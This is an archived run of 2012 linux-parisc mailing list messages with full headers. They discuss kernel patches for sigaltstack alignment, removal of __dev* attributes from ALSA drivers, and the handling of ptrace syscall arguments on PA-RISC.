	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 25 23:33:41 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TcklF-0005LI-BP
	for glpp-linux-parisc@plane.gmane.org; Sun, 25 Nov 2012 23:33:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753584Ab2KYWdC (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 25 Nov 2012 17:33:02 -0500
Original-Received: from blu0-omc3-s12.blu0.hotmail.com ([65.55.116.87]:54450 "EHLO
	blu0-omc3-s12.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753573Ab2KYWdC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 25 Nov 2012 17:33:02 -0500
Original-Received: from BLU0-SMTP94 ([65.55.116.74]) by blu0-omc3-s12.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 25 Nov 2012 14:33:00 -0800
X-Originating-IP: [69.158.171.42]
X-EIP: [b+PBMfsR7yLuPfF50zumDxIfFUoe+Vbk]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.171.42]) by BLU0-SMTP94.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 25 Nov 2012 14:32:59 -0800
In-Reply-To: <1585369.EaOyvHic2M@eto>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 25 Nov 2012 22:32:59.0752 (UTC) FILETIME=[D2CA5E80:01CDCB5C]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4685
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4685>

On 25-Nov-12, at 5:07 PM, Rolf Eike Beer wrote:

> John David Anglin wrote:
>> On 24-Nov-12, at 10:05 AM, John David Anglin wrote:
>>> In trying to build the debian libsigsegv2 package, I found that
>>> sigaltstack
>>> doesn't round ss.ss_sp.  The tests intentionally pass an unaligned
>>> pointer.
>>> This results in the two stack overflow tests failing.
>>
>> The attached patch fixes this issue.
>
> diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
> index 594459b..324644d 100644
> --- a/arch/parisc/kernel/signal.c
> +++ b/arch/parisc/kernel/signal.c
> @@ -188,8 +188,10 @@ get_sigframe(struct k_sigaction *ka, unsigned  
> long sp, size_t frame_size)
> 	DBG(1,"get_sigframe: ka = %#lx, sp = %#lx, frame_size = %#lx\n",
> 			(unsigned long)ka, sp, frame_size);
> 	
> +	/* Align alternate stack and reserve 64 bytes for the signal
> +	   handler's frame marker.  */
> 	if ((ka->sa.sa_flags & SA_ONSTACK) != 0 && ! sas_ss_flags(sp))
> -		sp = current->sas_ss_sp; /* Stacks grow up! */
> +		sp = (current->sas_ss_sp + 0x7f) & ~0x3f; /* Stacks grow up! */
>
> 	DBG(1,"get_sigframe: Returning sp = %#lx\n", (unsigned long)sp);
> 	return (void __user *) sp; /* Stacks grow up.  Fun. */
>
> What about something like this (entirely untested, but you'll get  
> the idea):
>
> sp = round_down(current->sas_ss_sp + 64, 64);


We need to round up to ensure a full 64 bytes for frame marker.
I'll leave it to James to decide if it makes the code clearer.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Pemberton <wfp5p@virginia.edu>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.alsa.devel
Subject: [PATCH 07/20] ALSA: parisc/harmony: remove __dev* attributes
Date: Thu,  6 Dec 2012 12:35:16 -0500
Lines: 78
Approved: news@gmane.org
Message-ID: <1354815329-20221-8-git-send-email-wfp5p@virginia.edu>
References: <1354815329-20221-1-git-send-email-wfp5p@virginia.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1354815337 10597 80.91.229.3 (6 Dec 2012 17:35:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 6 Dec 2012 17:35:37 +0000 (UTC)
Cc: tiwai@suse.de, perex@perex.cz, gregkh@linuxfoundation.org,
	linux-parisc@vger.kernel.org
To: alsa-devel@alsa-project.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 06 18:35:49 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TgfMP-0006HL-6F
	for glpp-linux-parisc@plane.gmane.org; Thu, 06 Dec 2012 18:35:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1945933Ab2LFRfb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 6 Dec 2012 12:35:31 -0500
Original-Received: from viridian.itc.Virginia.EDU ([128.143.12.139]:50896 "EHLO
	viridian.itc.virginia.edu" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1945934Ab2LFRfa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 6 Dec 2012 12:35:30 -0500
Original-Received: by viridian.itc.virginia.edu (Postfix, from userid 1249)
	id 30EF88027C; Thu,  6 Dec 2012 12:35:30 -0500 (EST)
X-Mailer: git-send-email 1.8.0.1
In-Reply-To: <1354815329-20221-1-git-send-email-wfp5p@virginia.edu>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4686 gmane.linux.alsa.devel:103655
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4686>

CONFIG_HOTPLUG is going away as an option.  As result the __dev*
markings will be going away.

Remove use of __devinit, __devexit_p, __devinitdata, __devinitconst,
and __devexit.

Signed-off-by: Bill Pemberton <wfp5p@virginia.edu>
Cc: linux-parisc@vger.kernel.org
---
 sound/parisc/harmony.c | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/sound/parisc/harmony.c b/sound/parisc/harmony.c
index f47f9e2..0e66ba4 100644
--- a/sound/parisc/harmony.c
+++ b/sound/parisc/harmony.c
@@ -856,7 +856,7 @@ static struct snd_kcontrol_new snd_harmony_controls[] = {
 		       HARMONY_GAIN_HE_SHIFT, 1, 0),
 };
 
-static void __devinit
+static void
 snd_harmony_mixer_reset(struct snd_harmony *h)
 {
 	harmony_mute(h);
@@ -865,7 +865,7 @@ snd_harmony_mixer_reset(struct snd_harmony *h)
 	harmony_unmute(h);
 }
 
-static int __devinit
+static int
 snd_harmony_mixer_init(struct snd_harmony *h)
 {
 	struct snd_card *card;
@@ -915,7 +915,7 @@ snd_harmony_dev_free(struct snd_device *dev)
 	return snd_harmony_free(h);
 }
 
-static int __devinit
+static int
 snd_harmony_create(struct snd_card *card, 
 		   struct parisc_device *padev, 
 		   struct snd_harmony **rchip)
@@ -972,7 +972,7 @@ free_and_ret:
 	return err;
 }
 
-static int __devinit
+static int
 snd_harmony_probe(struct parisc_device *padev)
 {
 	int err;
@@ -1012,7 +1012,7 @@ free_and_ret:
 	return err;
 }
 
-static int __devexit
+static int
 snd_harmony_remove(struct parisc_device *padev)
 {
 	snd_card_free(parisc_get_drvdata(padev));
@@ -1024,7 +1024,7 @@ static struct parisc_driver snd_harmony_driver = {
 	.name = "harmony",
 	.id_table = snd_harmony_devtable,
 	.probe = snd_harmony_probe,
-	.remove = __devexit_p(snd_harmony_remove),
+	.remove = snd_harmony_remove,
 };
 
 static int __init 
-- 
1.8.0.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Pemberton <wfp5p@virginia.edu>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.alsa.devel
Subject: [PATCH 09/20] ALSA: ad1889: remove __dev* attributes
Date: Thu,  6 Dec 2012 12:35:18 -0500
Lines: 106
Approved: news@gmane.org
Message-ID: <1354815329-20221-10-git-send-email-wfp5p@virginia.edu>
References: <1354815329-20221-1-git-send-email-wfp5p@virginia.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1354815338 10624 80.91.229.3 (6 Dec 2012 17:35:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 6 Dec 2012 17:35:38 +0000 (UTC)
Cc: tiwai@suse.de, perex@perex.cz, gregkh@linuxfoundation.org,
	Thibaut Varene <T-Bone@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: alsa-devel@alsa-project.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 06 18:35:50 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TgfMN-0006HL-Ej
	for glpp-linux-parisc@plane.gmane.org; Thu, 06 Dec 2012 18:35:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1945952Ab2LFRfb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 6 Dec 2012 12:35:31 -0500
Original-Received: from viridian.itc.Virginia.EDU ([128.143.12.139]:50895 "EHLO
	viridian.itc.virginia.edu" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1945933Ab2LFRfa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 6 Dec 2012 12:35:30 -0500
Original-Received: by viridian.itc.virginia.edu (Postfix, from userid 1249)
	id 5292D8027F; Thu,  6 Dec 2012 12:35:30 -0500 (EST)
X-Mailer: git-send-email 1.8.0.1
In-Reply-To: <1354815329-20221-1-git-send-email-wfp5p@virginia.edu>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4687 gmane.linux.alsa.devel:103656
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4687>

CONFIG_HOTPLUG is going away as an option.  As result the __dev*
markings will be going away.

Remove use of __devinit, __devexit_p, __devinitdata, __devinitconst,
and __devexit.

Signed-off-by: Bill Pemberton <wfp5p@virginia.edu>
Cc: Thibaut Varene <T-Bone@parisc-linux.org>
Cc: linux-parisc@vger.kernel.org
---
 sound/pci/ad1889.c | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/sound/pci/ad1889.c b/sound/pci/ad1889.c
index e672ff4..ad8a311 100644
--- a/sound/pci/ad1889.c
+++ b/sound/pci/ad1889.c
@@ -624,7 +624,7 @@ snd_ad1889_interrupt(int irq, void *dev_id)
 	return IRQ_HANDLED;
 }
 
-static int __devinit
+static int
 snd_ad1889_pcm_init(struct snd_ad1889 *chip, int device, struct snd_pcm **rpcm)
 {
 	int err;
@@ -747,7 +747,7 @@ snd_ad1889_proc_read(struct snd_info_entry *entry, struct snd_info_buffer *buffe
 	snd_iprintf(buffer, "Resampler samplerate: %u Hz\n", reg);
 }
 
-static void __devinit
+static void
 snd_ad1889_proc_init(struct snd_ad1889 *chip)
 {
 	struct snd_info_entry *entry;
@@ -767,7 +767,7 @@ static struct ac97_quirk ac97_quirks[] = {
 	{ } /* terminator */
 };
 
-static void __devinit
+static void
 snd_ad1889_ac97_xinit(struct snd_ad1889 *chip)
 {
 	u16 reg;
@@ -805,7 +805,7 @@ snd_ad1889_ac97_free(struct snd_ac97 *ac97)
 	chip->ac97 = NULL;
 }
 
-static int __devinit
+static int
 snd_ad1889_ac97_init(struct snd_ad1889 *chip, const char *quirk_override)
 {
 	int err;
@@ -878,7 +878,7 @@ snd_ad1889_dev_free(struct snd_device *device)
 	return snd_ad1889_free(chip);
 }
 
-static int __devinit
+static int
 snd_ad1889_init(struct snd_ad1889 *chip) 
 {
 	ad1889_writew(chip, AD_DS_CCS, AD_DS_CCS_CLKEN); /* turn on clock */
@@ -892,7 +892,7 @@ snd_ad1889_init(struct snd_ad1889 *chip)
 	return 0;
 }
 
-static int __devinit
+static int
 snd_ad1889_create(struct snd_card *card,
 		  struct pci_dev *pci,
 		  struct snd_ad1889 **rchip)
@@ -978,7 +978,7 @@ free_and_ret:
 	return err;
 }
 
-static int __devinit
+static int
 snd_ad1889_probe(struct pci_dev *pci,
 		 const struct pci_device_id *pci_id)
 {
@@ -1042,7 +1042,7 @@ free_and_ret:
 	return err;
 }
 
-static void __devexit
+static void
 snd_ad1889_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
@@ -1059,7 +1059,7 @@ static struct pci_driver ad1889_pci_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_ad1889_ids,
 	.probe = snd_ad1889_probe,
-	.remove = __devexit_p(snd_ad1889_remove),
+	.remove = snd_ad1889_remove,
 };
 
 module_pci_driver(ad1889_pci_driver);
-- 
1.8.0.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Al Viro <viro@ZenIV.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc] ptrace breakage
Date: Sun, 9 Dec 2012 06:16:14 +0000
Lines: 38
Approved: news@gmane.org
Message-ID: <20121209061614.GE4939@ZenIV.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1355033779 20052 80.91.229.3 (9 Dec 2012 06:16:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 9 Dec 2012 06:16:19 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 09 07:16:33 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ThaBh-0008B2-3B
	for glpp-linux-parisc@plane.gmane.org; Sun, 09 Dec 2012 07:16:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756528Ab2LIGQP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 9 Dec 2012 01:16:15 -0500
Original-Received: from zeniv.linux.org.uk ([195.92.253.2]:57614 "EHLO
	ZenIV.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756503Ab2LIGQP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 9 Dec 2012 01:16:15 -0500
Original-Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux))
	id 1ThaBS-00057H-5G; Sun, 09 Dec 2012 06:16:14 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4688
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4688>

	1) PTRACE_SYSCALL doesn't work for 64bit process on parisc64.
Compat syscall table is used instead of 64bit one.  IMO we should either
refuse to allow PTRACE_SYSCALL for 64bit processes or duplicate the
logics choosing the right syscall table into .Ltracesys.

	2) if you have let the tracee run with PTRACE_SYSCALL and
it had stopped, you can use PTRACE_POKEUSR to modify syscall number
(r20) and arguments 1--4 (r26--r23).  Modifications will have effect.
However, modifying arguments 5 and 6 (r22 and r21 resp.) works only
when process (32bit one) runs on 64bit host - on 32bit one it has no
effect.  AFAICS, the diff below should fix that one.

	Comments?

diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index 86742df..5e05524 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -309,10 +309,13 @@ tracesys_next:
 	LDREG   TASK_PT_GR25(%r1), %r25
 	LDREG   TASK_PT_GR24(%r1), %r24
 	LDREG   TASK_PT_GR23(%r1), %r23
-#ifdef CONFIG_64BIT
 	LDREG   TASK_PT_GR22(%r1), %r22
 	LDREG   TASK_PT_GR21(%r1), %r21
+#ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29			/* Reference param save area */
+#else
+	stw     %r22, -52(%r30)                 /* 5th argument */
+	stw     %r21, -56(%r30)                 /* 6th argument */
 #endif
 
 	comiclr,>>=	__NR_Linux_syscalls, %r20, %r0
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc] ptrace breakage
Date: Sun, 09 Dec 2012 10:19:51 +0000
Lines: 49
Approved: news@gmane.org
Message-ID: <1355048391.10297.3.camel@dabdike>
References: <20121209061614.GE4939@ZenIV.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1355048399 17741 80.91.229.3 (9 Dec 2012 10:19:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 9 Dec 2012 10:19:59 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Al Viro <viro@ZenIV.linux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 09 11:20:13 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ThdzX-0007So-46
	for glpp-linux-parisc@plane.gmane.org; Sun, 09 Dec 2012 11:20:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933768Ab2LIKT6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 9 Dec 2012 05:19:58 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:60348 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S933754Ab2LIKT5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 9 Dec 2012 05:19:57 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id AF9EB8EE0BE;
	Sun,  9 Dec 2012 02:19:54 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id AN9sWC_WD8O8; Sun,  9 Dec 2012 02:19:54 -0800 (PST)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [46.65.52.191])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id C5C388EE091;
	Sun,  9 Dec 2012 02:19:53 -0800 (PST)
In-Reply-To: <20121209061614.GE4939@ZenIV.linux.org.uk>
X-Mailer: Evolution 3.6.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4689
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4689>

On Sun, 2012-12-09 at 06:16 +0000, Al Viro wrote:
> 	1) PTRACE_SYSCALL doesn't work for 64bit process on parisc64.
> Compat syscall table is used instead of 64bit one.  IMO we should either
> refuse to allow PTRACE_SYSCALL for 64bit processes or duplicate the
> logics choosing the right syscall table into .Ltracesys.

We don't have a 64 bit userspace (except for a toy one I created to test
out a few thing), so I'd be happy returning -ENOSYS.

> 	2) if you have let the tracee run with PTRACE_SYSCALL and
> it had stopped, you can use PTRACE_POKEUSR to modify syscall number
> (r20) and arguments 1--4 (r26--r23).  Modifications will have effect.
> However, modifying arguments 5 and 6 (r22 and r21 resp.) works only
> when process (32bit one) runs on 64bit host - on 32bit one it has no
> effect.  AFAICS, the diff below should fix that one.
> 
> 	Comments?
> 
> diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
> index 86742df..5e05524 100644
> --- a/arch/parisc/kernel/syscall.S
> +++ b/arch/parisc/kernel/syscall.S
> @@ -309,10 +309,13 @@ tracesys_next:
>  	LDREG   TASK_PT_GR25(%r1), %r25
>  	LDREG   TASK_PT_GR24(%r1), %r24
>  	LDREG   TASK_PT_GR23(%r1), %r23
> -#ifdef CONFIG_64BIT
>  	LDREG   TASK_PT_GR22(%r1), %r22
>  	LDREG   TASK_PT_GR21(%r1), %r21
> +#ifdef CONFIG_64BIT
>  	ldo	-16(%r30),%r29			/* Reference param save area */
> +#else
> +	stw     %r22, -52(%r30)                 /* 5th argument */
> +	stw     %r21, -56(%r30)                 /* 6th argument */
>  #endif

I'll defer to the glibc guys on this.  The code before you modified it
is correct according to the ABI, but it does look like gate calls are
done with 8 args in registers on 32 bit in which case the above would be
correct.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Al Viro <viro@ZenIV.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc] ptrace breakage
Date: Sun, 9 Dec 2012 16:44:08 +0000
Lines: 50
Approved: news@gmane.org
Message-ID: <20121209164407.GF4939@ZenIV.linux.org.uk>
References: <20121209061614.GE4939@ZenIV.linux.org.uk>
 <1355048391.10297.3.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1355071458 28748 80.91.229.3 (9 Dec 2012 16:44:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 9 Dec 2012 16:44:18 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 09 17:44:31 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ThjzL-00057X-AX
	for glpp-linux-parisc@plane.gmane.org; Sun, 09 Dec 2012 17:44:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756728Ab2LIQoL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 9 Dec 2012 11:44:11 -0500
Original-Received: from zeniv.linux.org.uk ([195.92.253.2]:58727 "EHLO
	ZenIV.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756727Ab2LIQoK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 9 Dec 2012 11:44:10 -0500
Original-Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux))
	id 1Thjz6-0003zM-3l; Sun, 09 Dec 2012 16:44:08 +0000
Content-Disposition: inline
In-Reply-To: <1355048391.10297.3.camel@dabdike>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4690
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4690>

On Sun, Dec 09, 2012 at 10:19:51AM +0000, James Bottomley wrote:

> > 	2) if you have let the tracee run with PTRACE_SYSCALL and
> > it had stopped, you can use PTRACE_POKEUSR to modify syscall number
> > (r20) and arguments 1--4 (r26--r23).  Modifications will have effect.
> > However, modifying arguments 5 and 6 (r22 and r21 resp.) works only
> > when process (32bit one) runs on 64bit host - on 32bit one it has no
> > effect.  AFAICS, the diff below should fix that one.
> > 
> > 	Comments?
> > 
> > diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
> > index 86742df..5e05524 100644
> > --- a/arch/parisc/kernel/syscall.S
> > +++ b/arch/parisc/kernel/syscall.S
> > @@ -309,10 +309,13 @@ tracesys_next:
> >  	LDREG   TASK_PT_GR25(%r1), %r25
> >  	LDREG   TASK_PT_GR24(%r1), %r24
> >  	LDREG   TASK_PT_GR23(%r1), %r23
> > -#ifdef CONFIG_64BIT
> >  	LDREG   TASK_PT_GR22(%r1), %r22
> >  	LDREG   TASK_PT_GR21(%r1), %r21
> > +#ifdef CONFIG_64BIT
> >  	ldo	-16(%r30),%r29			/* Reference param save area */
> > +#else
> > +	stw     %r22, -52(%r30)                 /* 5th argument */
> > +	stw     %r21, -56(%r30)                 /* 6th argument */
> >  #endif
> 
> I'll defer to the glibc guys on this.  The code before you modified it
> is correct according to the ABI, but it does look like gate calls are
> done with 8 args in registers on 32 bit in which case the above would be
> correct.

Er...  What happens on PTRACE_SYSCALL path is that we reload the registers
clobbered by do_syscall_trace_enter().  Sure, on 32bit we'd already pushed
the arguments 5 and 6 on stack (originally from r22/r21), so they are not
clobbered.  However, this reload has a side effect - if whoever's tracing us
does PTRACE_POKEUSER to modify pt_regs, we end up with changed value reloaded.
What this patch does is making this behaviour consistent between 32bit and
64bit hosts.

BTW, note that if we e.g. end up restarting the syscall, the changes to r22
and r21 *will* have effect on the second pass on 32bit.  With the current
kernel.  The registers will be restored from pt_regs on the way out.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Vineet.Gupta1@synopsys.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] sysctl: convert arch specific unaligned access regulators to generic ones
Date: Thu, 20 Dec 2012 16:41:38 +0530
Lines: 136
Approved: news@gmane.org
Message-ID: <1356001898-2960-2-git-send-email-vgupta@synopsys.com>
References: <50D2B75A.3000208@synopsys.com>
 <1356001898-2960-1-git-send-email-vgupta@synopsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1356002045 8400 80.91.229.3 (20 Dec 2012 11:14:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 20 Dec 2012 11:14:05 +0000 (UTC)
Cc: Vineet Gupta <Vineet.Gupta1@synopsys.com>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	"Eric W. Biederman" <ebiederm@xmission.com>,
	"Serge Hallyn" <serge.hallyn@canonical.com>,
	"David S. Miller" <davem@davemloft.net>,
	"Paul E. McKenney" <paulmck@linux.vnet.ibm.com>,
	<linux-ia64@vger.kernel.org>, <linux-parisc@vger.kernel.org>,
	<linux-kernel@vger.kernel.org>
To: <linux-arch@vger.kernel.org>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Dec 20 12:14:18 2012
Return-path: <linux-arch-owner@vger.kernel.org>
